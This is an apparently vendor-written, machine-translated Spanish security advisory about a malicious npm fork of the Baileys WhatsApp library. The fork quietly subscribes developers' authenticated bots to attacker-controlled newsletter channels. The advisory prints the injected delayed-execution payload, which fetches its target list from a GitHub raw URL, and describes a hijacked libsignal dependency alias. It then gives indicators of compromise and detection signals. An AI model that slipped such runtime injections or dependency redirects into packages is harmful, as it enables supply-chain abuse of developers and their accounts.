TL; DR
El Equipo de investigación de seguridad de Xygeni identificado un paquete npm malicioso, @dappaoffc/baileys-mod, publicado como una bifurcación de la biblioteca de API web de WhatsApp ampliamente utilizada @whiskeysockets/baileys.
A partir de la versión 8.0.1, este paquete npm malicioso contiene una inyección de código de tiempo de ejecución dentro lib/Socket/newsletter.jsLa lógica inyectada suscribe silenciosamente la sesión del bot de WhatsApp autenticado del desarrollador a los canales de boletines informativos controlados por el atacante.
La carga útil se activa 80 segundos después de la carga del módulo y recupera dinámicamente su lista de objetivos de GitHub, lo que hace que el comportamiento se actualice automáticamente y sea difícil de detectar mediante el análisis en el momento de la instalación.
Resumen técnico
Durante el monitoreo de rutina de dependencias recién publicadas, el equipo de investigación de seguridad de Xygeni detectó un comportamiento anómalo en @dappaoffc/baileys-mod, posteriormente confirmado como un paquete npm malicioso apuntando al ecosistema de bots de WhatsApp.
A diferencia de los gusanos que roban credenciales o los que instalan ransomware, este paquete npm malicioso abusa de la relación de confianza entre un desarrollador y una biblioteca de código abierto comúnmente bifurcada.
El paquete se presenta como una versión modificada de Baileys, una implementación popular de la API web de WhatsApp, ampliamente utilizada para crear bots de automatización. Dentro de este ecosistema, la instalación de bifurcaciones es una práctica común. En consecuencia, el atacante aprovechó un modelo de distribución realista en lugar de explotar una vulnerabilidad.
En tono rimbombante:
- El El script de preinstalación solo valida la versión de Node.js
- No se produce ninguna exfiltración de credenciales en el momento de la instalación
- No aparece ninguna actividad sospechosa posterior a la instalación
- La inyección se ejecuta estrictamente en tiempo de ejecución.
Debido a este diseño, los escáneres en el momento de la instalación no detectarían comportamiento malicioso.
Mecanismo de inyección en tiempo de ejecución dentro del paquete npm malicioso
La lógica maliciosa dentro de este paquete npm malicioso reside en lib/Socket/newsletter.js, incrustado directamente dentro del contexto de ejecución del módulo.
El atacante envolvió el bloque inyectado en una expresión de función invocada inmediatamente (IIFE), que garantiza la ejecución tan pronto como se carga el módulo.
Sin embargo, en lugar de activarse inmediatamente, la carga útil introduce un mecanismo de ejecución retrasada:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()
Una vez transcurrido el retraso, la carga útil realiza una secuencia controlada:
- Obtiene un JSON archivo de una URL de contenido sin procesar de GitHub.
- Analiza una lista de ID de boletines informativos de WhatsApp.
- Itera a través de la lista.
- Calls
newsletterWMexQuery(id, QueryIds.FOLLOW)para cada entrada - Las solicitudes de espacios se realizan con cinco segundos de diferencia para reducir el límite de detección de velocidad.
- Suprime silenciosamente todos los errores de tiempo de ejecución.
Debido a que el código invoca funciones de biblioteca internas en lugar de scripts externos, el tráfico resultante parece indistinguible de las acciones legítimas iniciadas por el usuario. WhatsApp's Desde la perspectiva del protocolo, el bot se suscribió voluntariamente a esos canales.
Comparación técnica: comportamiento legítimo vs. comportamiento inyectado
| Componente | Comportamiento legítimo | Inyección maliciosa |
|---|---|---|
| Fase de instalación | Valida solo la versión de Node.js | No hay comportamiento malicioso visible en el momento de la instalación |
| Inicialización del módulo | Exportaciones de fábrica de sockets de WhatsApp | IIFE se ejecuta automáticamente al cargar el módulo |
| Tiempo de ejecución | Sin comportamiento retrasado | Activación retardada de 80 segundos |
| Red de comunicacion | Se comunica únicamente a través del protocolo WhatsApp WebSocket | Obtención de contenido sin procesar de salida en GitHub (canal de control dinámico) |
| Acciones del boletín informativo | Solicitudes de suscripción iniciadas por el usuario | Solicitudes FOLLOW automatizadas a través de la API de biblioteca interna |
| Gestión de errores | Propaga errores operativos | Suprime silenciosamente todas las excepciones |
Canal de control dinámico a través de GitHub
La lista de identificadores del boletín se encuentra alojada en:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json
Este diseño ofrece varias ventajas operativas:
- Actualizaciones dinámicas de la carga útil sin publicar una nueva versión de npm
- Punto final TLS confiable que se integra al tráfico normal del desarrollador
- No se requiere infraestructura administrada por el atacante
- Persistencia en bots ya implementados
Debido a que la inyección se ejecuta dentro del ámbito de fábrica, reutiliza cierres internos como newsletterWMexQuery y delay Sin importar módulos externos. Esto minimiza el espacio y aumenta la discreción.
En efecto, GitHub actúa como un canal de distribución de comandos ligero.
Alias de dependencia y señales de atribución
Los metadatos del paquete incluyen el siguiente alias de dependencia:
"libsignal": "npm:@skyzopedia/libsignal-node"
Esto redirige una dependencia criptográfica crítica a un ámbito npm controlado por el atacante.
Además, los metadatos suplantan al proyecto original al hacer referencia al autor y al repositorio originales. Esto aumenta la percepción de legitimidad y reduce el escrutinio durante una revisión informal.
Estas señales indican una mezcla deliberada de ecosistemas en lugar de... manipulación oportunista.
Indicadores de compromiso para este paquete npm malicioso
Los equipos de seguridad que investigan este paquete npm malicioso deben evaluar las siguientes señales:
Señales de red
- Solicitudes GET salientes a
raw.githubusercontent.comde los procesos de bots de WhatsApp - Boletín informativo SIGA las acciones que ocurren sin que la lógica de la aplicación las active
Señales de paquete
@dappaoffc/baileys-modversión 8.0.1 (y potencialmente 8.0.0)- Redirección de alias de dependencia
libsignal - Inyección IIFE en tiempo de ejecución en el interior
newsletter.js
Señales de comportamiento
- Solicitudes FOLLOW espaciadas en intervalos de cinco segundos
- No hay interacción del usuario antes de la suscripción al boletín informativo
- Supresión silenciosa de errores dentro del código de la biblioteca principal
A diferencia del malware tradicional, este ataque no requiere la exfiltración de credenciales. El abuso se produce completamente dentro de una sesión ya autenticada.
Detección y mitigación con Xygeni
Este caso ilustra por qué el análisis durante la instalación por sí solo es insuficiente. El comportamiento malicioso se ejecuta después de la carga del módulo y se oculta dentro de la lógica empresarial legítima.
Alerta temprana de malware (MEW) de Xygeni Detectó este paquete correlacionando múltiples señales en lugar de confiar en una sola firma.
Análisis estático de código fuente completo
MEW inspecciona árboles de fuentes de paquetes completos, no solo scripts de ciclo de vida.
En este caso, las señales de detección incluyeron:
- Un inesperado
fetch()Llamar dentro de un módulo principal de WhatsApp - Comunicación saliente al contenido sin procesar de GitHub
- Patrones de ejecución retrasada integrados en la lógica de tiempo de ejecución
- Manejo de errores silenciosos anidados
Individualmente, estos patrones pueden parecer benignos. Sin embargo, un análisis combinado revela un comportamiento anómalo que no concuerda con una bifurcación legítima de Baileys.
Correlación del riesgo de dependencia
El libsignal alias desencadenó un escrutinio adicional porque redirige una dependencia sensible a un ámbito no verificado.
Xygeni se correlaciona:
- Señales de reputación del editor
- Inconsistencias en la propiedad del alcance
- Redirección de dependencias en bibliotecas criptográficas
- Indicadores de suplantación de metadatos
Este análisis en capas reduce los falsos positivos al tiempo que identifica el abuso de confianza.
Controles de la cadena de suministro conscientes del tiempo de ejecución
Debido a que este paquete npm malicioso se ejecuta en tiempo de ejecución, una defensa efectiva requiere un análisis que tenga en cuenta el comportamiento.
Xygeni evalúa:
- Mecanismos de ejecución retardada
- Mal uso de la API interna
- Llamadas de red salientes dentro del código de dependencia
- Flujo de control anómalo dentro de bibliotecas de terceros
Además en Guardrails políticas en CI/CD puede:
- Bloquear llamadas salientes inesperadas durante las compilaciones
- Detectar cambios sospechosos en el gráfico de dependencia
- Aplicar restricciones a la redirección del alcance
- Patrones de recuperación de carga útil dinámica de banderas
Por lo tanto, la contención no depende únicamente de la eliminación del registro.
Por qué este paquete npm malicioso es importante para la seguridad de la cadena de suministro
Este paquete npm malicioso refleja un cambio estructural en el abuso de la cadena de suministro:
- Ejecución en tiempo de ejecución en lugar de cargas útiles en tiempo de instalación
- Canales de control dinámicos alojados en plataformas confiables
- Abuso de API internas legítimas
- Falsificación de metadatos para imitar a los mantenedores ascendentes
El atacante no explotó una vulnerabilidad de software, sino que explotó la confianza en las bifurcaciones y las actualizaciones de dependencias.
En consecuencia, la detección requiere una inspección completa del código fuente, una correlación de riesgos de dependencia y un análisis que tenga en cuenta el tiempo de ejecución, no solo un escaneo de scripts.





